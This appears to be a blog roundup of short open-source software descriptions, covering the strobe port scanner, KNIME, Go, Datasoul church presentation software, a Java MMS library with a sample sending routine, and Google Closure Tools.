Optimized TCP Port Surveyor »

strobe is a network/security tool that locates and describes all listening tcp ports on a (remote) host or on many hosts in a bandwidth utilisation maximising, and process resource minimizing manner. strobe approximates a parallel finite state machine internally. In non-linear multi-host mode it attempts to apportion bandwidth and sockets amoung the hosts very efficiently. This can reap appreciable gains in speed for multiple distinct hosts/routes. On a machine with a reasonable number of sockets, strobe is fast enough to port scan entire Internet sub domains. It is even possible to survey an entire small country in a reasonable time from a fast machine on the network backbone, provided the machine in question uses dynamic socket allocation or has had its static socket allocation increased very appreciably (check your kernel options). In this very limited application strobe is said to be faster than ISS2.1 (a high quality commercial security scanner by [email protected] and friends) or PingWare (also commercial).

Open Source Data Mining Platform »

KNIME, pronounced [naim], is a modular data exploration platform that enables the user to visually create data flows (often referred to as pipelines), selectively execute some or all analysis steps, and later investigate the results through interactive views on data and models.

KNIME was developed (and will continue to be expanded) by the Chair for Bioinformatics and Information Mining at the University of Konstanz, Germany. The group headed by Michael Berthold also uses KNIME for teaching and research at the University. Quite a number of new data analysis methods developed at the chair are integrated in KNIME. Let us know if you are looking for something in particular, not all of those modules are part of the standard KNIME release just yet…


The KNIME base version already incorporates over 100 processing nodes for data I/O, preprocessing and cleansing, modeling, analysis and data mining as well as various interactive views, such as scatter plots, parallel coordinates and others. It integrates all analysis modules of the well known Weka data mining environment and additional plugins allow R-scripts to be run, offering access to a vast library of statistical routines.

KNIME is based on the Eclipse platform and, through its modular API, easily extensible. When desired, custom nodes and types can be implemented in KNIME within hours thus extending KNIME to comprehend and provide first-tier support for highly domain-specific data. This modularity and extensibility permits KNIME to be employed in commercial production environments as well as teaching and research prototyping settings. If you would like to read a more detailed description of the software, please download the attached White Paper.

KNIME is released under a dual licensing scheme. The open source license (GPL) allows KNIME to be downloaded, distributed, and used freely. See license arrangements for complete details.

Go – A New Systems Programming Language »

Go is a new systems programming language from Google.

The goal of the project, as quoted below

No major systems language has emerged in over a decade, but over that time the computing landscape has changed tremendously. There are several trends:

  • Computers are enormously quicker but software development is not faster.
  • Dependency management is a big part of software development today but the “header files” of languages in the C tradition are antithetical to clean dependency analysis—and fast compilation.
  • There is a growing rebellion against cumbersome type systems like those of Java and C++, pushing people towards dynamically typed languages such as Python and JavaScript.
  • Some fundamental concepts such as garbage collection and parallel computation are not well supported by popular systems languages.
  • The emergence of multicore computers has generated worry and confusion.

We believe it’s worth trying again with a new language, a concurrent, garbage-collected language with fast compilation. Regarding the points above:

  • It is possible to compile a large Go program in a few seconds on a single computer.
  • Go provides a model for software construction that makes dependency analysis easy and avoids much of the overhead of C-style include files and libraries.
  • Go’s type system has no hierarchy, so no time is spent defining the relationships between types. Also, although Go has static types the language attempts to make types feel lighter weight than in typical OO languages.
  • Go is fully garbage-collected and provides fundamental support for concurrent execution and communication.
  • By its design, Go proposes an approach for the construction of system software on multicore machines.

Open Source Church Software »

Datasoul  is an open source presentation software to display lyrics and text in churches services.


Datasoul keeps lyrics and display format independently. This means that when you want to change the font format or the background image, you don’t need to change tons of files. Take a look on how easy it is in Datasoul.

Beside the lyrics, Datasoul can also hold the chords for the songs. In this way, once you have selected the songs to next service you can easily retrieve the chords for that songs to print or send to the musicians.

In most churches, usually you need to display some announcements during the services. It’s a baby crying on the nursery or a car wrongly parked, something always happen. Know how Datasoul handles this situations.

Several churches use video cameras to record or transmit live images form the service. Datasoul can integrate in these systems and provide an effective solution for displaying lyrics.

Do you have all your songs in EasyWorship? There is an import tool available that converts it into Datasoul format. Once imported, you can also take your database to another operational system such as Linux or MacOS.

Java MMS Library »

I just release the Java MMS library. It is a library that can be used to encode or decode MMS message. The encoded MMS can then be sent out using MM1 or MM7 protocol. To use MM1 protocol, you need a GPRS/3G modem or GPRS/3G phone. For MM7, you need a connection to MMSC.

A simple sample is provided to show how to use it together with jWAP to send out MMS using MM1 protocol.

   1: WAPClient wapClient = new WAPClient(wapGatewayHost, wapGatewayPort);
   2: PostRequest request = new PostRequest(servlet);
   3: request.setContentType("application/vnd.wap.mms-message");
   4: request.setRequestBody(encodedMms);
   6: System.out.println("Connecting to \"" + wapGatewayHost + "\":" + wapGatewayPort + "...");
   7: wapClient.connect();
   9: System.out.println("Sending mms message through \"" + servlet + "\"...");
  10: Response response = wapClient.execute(request);
  11: byte[] binaryMms = response.getResponseBody();
  12: wapClient.disconnect();
  13: try {
  14:     MultimediaMessageDecoder dec = new MultimediaMessageDecoder(binaryMms);
  15:     dec.decodeMessage();
  16:     MultimediaMessage message = dec.getMessage();
  18:     System.out.println("Status: " + response.getStatus());
  19:     System.out.println("Status Text: " + response.getStatusText());
  21:     if (response.getStatus() == 200) {
  22:         System.out.println("Message id: " + message.getMessageId());
  23:         System.out.println("Message sent!");
  24:     } else {
  25:         System.out.println("Message is not sent");
  26:     }
  28: } catch (Exception e) {
  29:     System.out.println(e.getMessage());

Closure Tools from Google »

Google Closure tools help developers to build rich web applications with JavaScript that is both powerful and efficient. The Closure tools include:

A JavaScript optimizer

The Closure Compiler compiles JavaScript into compact, high-performance code. The compiler removes dead code and rewrites and minimizes what’s left so that it downloads and runs quickly. It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain. You can use the compiler with Closure Inspector, a Firebug extension that makes debugging the obfuscated code almost as easy as debugging the human-readable source.

A comprehensive JavaScript library

The Closure Library is a broad, well-tested, modular, and cross-browser JavaScript library. You can pull just what you need from a large set of reusable UI widgets and controls, and from lower-level utilities for DOM manipulation, server communication, animation, data structures, unit testing, rich-text editing, and more.

The Closure Library is server-agnostic, and is intended for use with the Closure Compiler.

An easy templating system for both Java & JavaScript

Closure Templates simplify the task of dynamically generating HTML. They have a simple syntax that is natural for programmers. In contrast to traditional templating systems, in which you use one big template per page, you can think of Closure Templates as small components that you compose to form your user interface.

Closure Templates are implemented for both JavaScript and Java, so that you can use the same templates on both the server and client side. For the client side, Closure Templates are precompiled into efficient JavaScript.
